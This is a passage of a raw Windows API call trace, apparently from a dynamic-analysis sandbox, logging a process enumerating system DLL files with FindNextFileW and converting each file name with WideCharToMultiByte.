ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-service-management-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0040.853] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1d3c288, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0040.854] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d09eb7b, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d09eb7b, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-service-management-l2-1-0.dll", cAlternateFileName="")) returned 1 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 40 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", cchWideChar=40, lpMultiByteStr=0x1d3c120, cbMultiByte=40, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-MANAGEMENT-L2-1-0.DLL", lpUsedDefaultChar=0x0) returned 40 [0040.854] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x2d267bef, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2d267bef, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf25d2100, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0xe00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="api-ms-win-service-winsvc-l1-1-0.dll", cAlternateFileName="")) returned 1 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 36 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", cchWideChar=36, lpMultiByteStr=0x1d3c288, cbMultiByte=36, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="API-MS-WIN-SERVICE-WINSVC-L1-1-0.DLL", lpUsedDefaultChar=0x0) returned 36 [0040.854] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7821a163, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7821a163, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3c00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="apilogen.dll", cAlternateFileName="")) returned 1 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APILOGEN.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APILOGEN.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.854] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc1f2f92c, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc1f2f92c, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x36000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="apircl.dll", cAlternateFileName="")) returned 1 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APIRCL.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APIRCL.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.854] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2de74afe, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x2de74afe, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0xf261dbf0, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x1a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="apisetschema.dll", cAlternateFileName="")) returned 1 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APISETSCHEMA.DLL", cchWideChar=16, lpMultiByteStr=0x1d3c120, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APISETSCHEMA.DLL", lpUsedDefaultChar=0x0) returned 16 [0040.854] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x92c3856c, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x92c3856c, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x92c5e6cc, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x48400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="apphelp.dll", cAlternateFileName="")) returned 1 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHELP.DLL", cchWideChar=11, lpMultiByteStr=0x1d3c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHELP.DLL", lpUsedDefaultChar=0x0) returned 11 [0040.854] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7a4c40da, ftCreationTime.dwHighDateTime=0x1ca0410, ftLastAccessTime.dwLowDateTime=0x7a4c40da, ftLastAccessTime.dwHighDateTime=0x1ca0410, ftLastWriteTime.dwLowDateTime=0x7e595a10, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x7400, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="Apphlpdm.dll", cAlternateFileName="")) returned 1 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.854] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPHLPDM.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPHLPDM.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.854] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcc6b7842, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xcc6b7842, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e608600, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="appidapi.dll", cAlternateFileName="")) returned 1 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDAPI.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDAPI.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.855] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd29cc968, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd29cc968, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x7e6540f0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x31a00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AppIdPolicyEngineApi.dll", cAlternateFileName="")) returned 1 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 24 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPIDPOLICYENGINEAPI.DLL", cchWideChar=24, lpMultiByteStr=0x1d3c120, cbMultiByte=24, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPIDPOLICYENGINEAPI.DLL", lpUsedDefaultChar=0x0) returned 24 [0040.855] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98006f9, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x98006f9, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x7e6c6ce0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="appmgmts.dll", cAlternateFileName="")) returned 1 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGMTS.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGMTS.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.855] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb1c14fdd, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb1c14fdd, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb1c6129e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x53000, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="appmgr.dll", cAlternateFileName="")) returned 1 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APPMGR.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APPMGR.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.855] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc81f8794, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xc81f8794, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x7e6eb6d0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x30e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="apss.dll", cAlternateFileName="")) returned 1 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="APSS.DLL", cchWideChar=8, lpMultiByteStr=0x1d3c288, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="APSS.DLL", lpUsedDefaultChar=0x0) returned 8 [0040.855] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x31c9efbc, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0x31c9efbc, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0xf2a6d430, ftLastWriteTime.dwHighDateTime=0x1ca041e, nFileSizeHigh=0x0, nFileSizeLow=0x800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="asferror.dll", cAlternateFileName="")) returned 1 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASFERROR.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASFERROR.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.855] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef914800, ftCreationTime.dwHighDateTime=0x1d0aa91, ftLastAccessTime.dwLowDateTime=0x57090500, ftLastAccessTime.dwHighDateTime=0x1d2e676, ftLastWriteTime.dwLowDateTime=0xef914800, ftLastWriteTime.dwHighDateTime=0x1d0aa91, nFileSizeHigh=0x0, nFileSizeLow=0x6cc0, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="aspnet_counters.dll", cAlternateFileName="")) returned 1 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASPNET_COUNTERS.DLL", cchWideChar=19, lpMultiByteStr=0x1d3c288, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASPNET_COUNTERS.DLL", lpUsedDefaultChar=0x0) returned 19 [0040.855] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x84e661b3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x84e661b3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x84e661b3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x10800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="asycfilt.dll", cAlternateFileName="")) returned 1 [0040.855] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ASYCFILT.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ASYCFILT.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.856] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2d2b74b, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x2d2b74b, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x805466c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x11200, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="atl.dll", cAlternateFileName="")) returned 1 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL.DLL", cchWideChar=7, lpMultiByteStr=0x1d3c288, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL.DLL", lpUsedDefaultChar=0x0) returned 7 [0040.856] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x4b0b4600, ftCreationTime.dwHighDateTime=0x1cc2787, ftLastAccessTime.dwLowDateTime=0xcc438260, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x4b0b4600, ftLastWriteTime.dwHighDateTime=0x1cc2787, nFileSizeHigh=0x0, nFileSizeLow=0x21b48, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="atl100.dll", cAlternateFileName="")) returned 1 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL100.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL100.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.856] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x29b8ce00, ftCreationTime.dwHighDateTime=0x1ce64f7, ftLastAccessTime.dwLowDateTime=0xef797c80, ftLastAccessTime.dwHighDateTime=0x1d2e620, ftLastWriteTime.dwLowDateTime=0x29b8ce00, ftLastWriteTime.dwHighDateTime=0x1ce64f7, nFileSizeHigh=0x0, nFileSizeLow=0x28248, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="atl110.dll", cAlternateFileName="")) returned 1 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATL110.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATL110.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.856] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9363019e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9363019e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x936562fe, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47e00, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="atmfd.dll", cAlternateFileName="")) returned 1 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMFD.DLL", cchWideChar=9, lpMultiByteStr=0x1d3c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMFD.DLL", lpUsedDefaultChar=0x0) returned 9 [0040.856] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9360a03e, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9360a03e, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9363019e, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="atmlib.dll", cAlternateFileName="")) returned 1 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ATMLIB.DLL", cchWideChar=10, lpMultiByteStr=0x1d3c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ATMLIB.DLL", lpUsedDefaultChar=0x0) returned 10 [0040.856] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4204ec3, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4204ec3, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4204ec3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x3b800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="audiodev.dll", cAlternateFileName="")) returned 1 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIODEV.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="AUDIODEV.DLL", lpUsedDefaultChar=0x0) returned 12 [0040.856] FindNextFileW (in: hFindFile=0x2425e0, lpFindFileData=0x18fb4c | out: lpFindFileData=0x18fb4c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x78f79a81, ftCreationTime.dwHighDateTime=0x1ca0416, ftLastAccessTime.dwLowDateTime=0x78f79a81, ftLastAccessTime.dwHighDateTime=0x1ca0416, ftLastWriteTime.dwLowDateTime=0x80675280, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x5b800, dwReserved0=0x775849a0, dwReserved1=0x18fd10, cFileName="AudioEng.dll", cAlternateFileName="")) returned 1 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0040.856] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="AUDIOENG.DLL", cchWideChar=12, lpMultiByteStr=0x1d3c288, cbMultiByte=12, lpDefaultChar=0x0, 